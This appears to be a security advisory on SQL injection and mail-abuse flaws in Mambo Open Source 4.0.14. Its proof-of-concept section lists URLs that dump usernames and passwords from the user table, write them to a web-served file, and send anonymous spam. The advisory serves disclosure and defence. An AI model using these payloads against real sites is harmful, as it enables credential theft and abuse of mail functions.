Multiple Mambo Open Source 4.0.14 Server Vulnerabilities
BID:8647
Info
Multiple Mambo Open Source 4.0.14 Server Vulnerabilities
| Bugtraq ID: | 8647 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Sep 18 2003 12:00AM |
| Updated: | Sep 18 2003 12:00AM |
| Credit: | The disclosure of this issue has been credited to Lifo Fifo <[email protected]>. |
| Vulnerable: |
Mambo Mambo Site Server 4.0.14 |
| Not Vulnerable: | |
Discussion
Multiple Mambo Open Source 4.0.14 Server Vulnerabilities
It has been reported that Mambo Open Source Server is prone to multiple input validation vulnerabilities that may allow remote attackers to inject malicious SQL syntax into database queries and send anonymous e-mail to arbitrary users.
The vulnerabilities have been reported to exists in the banners.php, emailfriend/emailarticle.php, and contact.php modules of ths software.
Mambo Open Source Server 4.0.14 has been reported to be prone to this problem, however other versions may be affected as well.
This BID will be divided into individual BIDs when further analysis of the issues is complete.
It has been reported that Mambo Open Source Server is prone to multiple input validation vulnerabilities that may allow remote attackers to inject malicious SQL syntax into database queries and send anonymous e-mail to arbitrary users.
The vulnerabilities have been reported to exists in the banners.php, emailfriend/emailarticle.php, and contact.php modules of ths software.
Mambo Open Source Server 4.0.14 has been reported to be prone to this problem, however other versions may be affected as well.
This BID will be divided into individual BIDs when further analysis of the issues is complete.
Exploit / POC
Multiple Mambo Open Source 4.0.14 Server Vulnerabilities
The following proof of concept has been provided:
http://www.example.com/mambo/banners.php?op=click&bid=100 UNION select password from mos_users where 1=1 into outfile 'c:/apache2/htdocs/mos.txt'
http://www.example.com/mambo/emailfriend/emailarticle.php?submit=submit&[email protected]&[email protected]&id=100 UNION select username,email,password from mos_users where id=1
http://localhost/mambo/contact.php?op=sendmail&text=this is spam&from=none&name=Admin&[email protected]&sitename=www.example.com
The following proof of concept has been provided:
http://www.example.com/mambo/banners.php?op=click&bid=100 UNION select password from mos_users where 1=1 into outfile 'c:/apache2/htdocs/mos.txt'
http://www.example.com/mambo/emailfriend/emailarticle.php?submit=submit&[email protected]&[email protected]&id=100 UNION select username,email,password from mos_users where id=1
http://localhost/mambo/contact.php?op=sendmail&text=this is spam&from=none&name=Admin&[email protected]&sitename=www.example.com
Solution / Fix
Multiple Mambo Open Source 4.0.14 Server Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
Multiple Mambo Open Source 4.0.14 Server Vulnerabilities
References:
References:
- Mambo Project Homepage (Mambo)
- Several Mambo 4.0.14 Stable Exploits (Lifo Fifo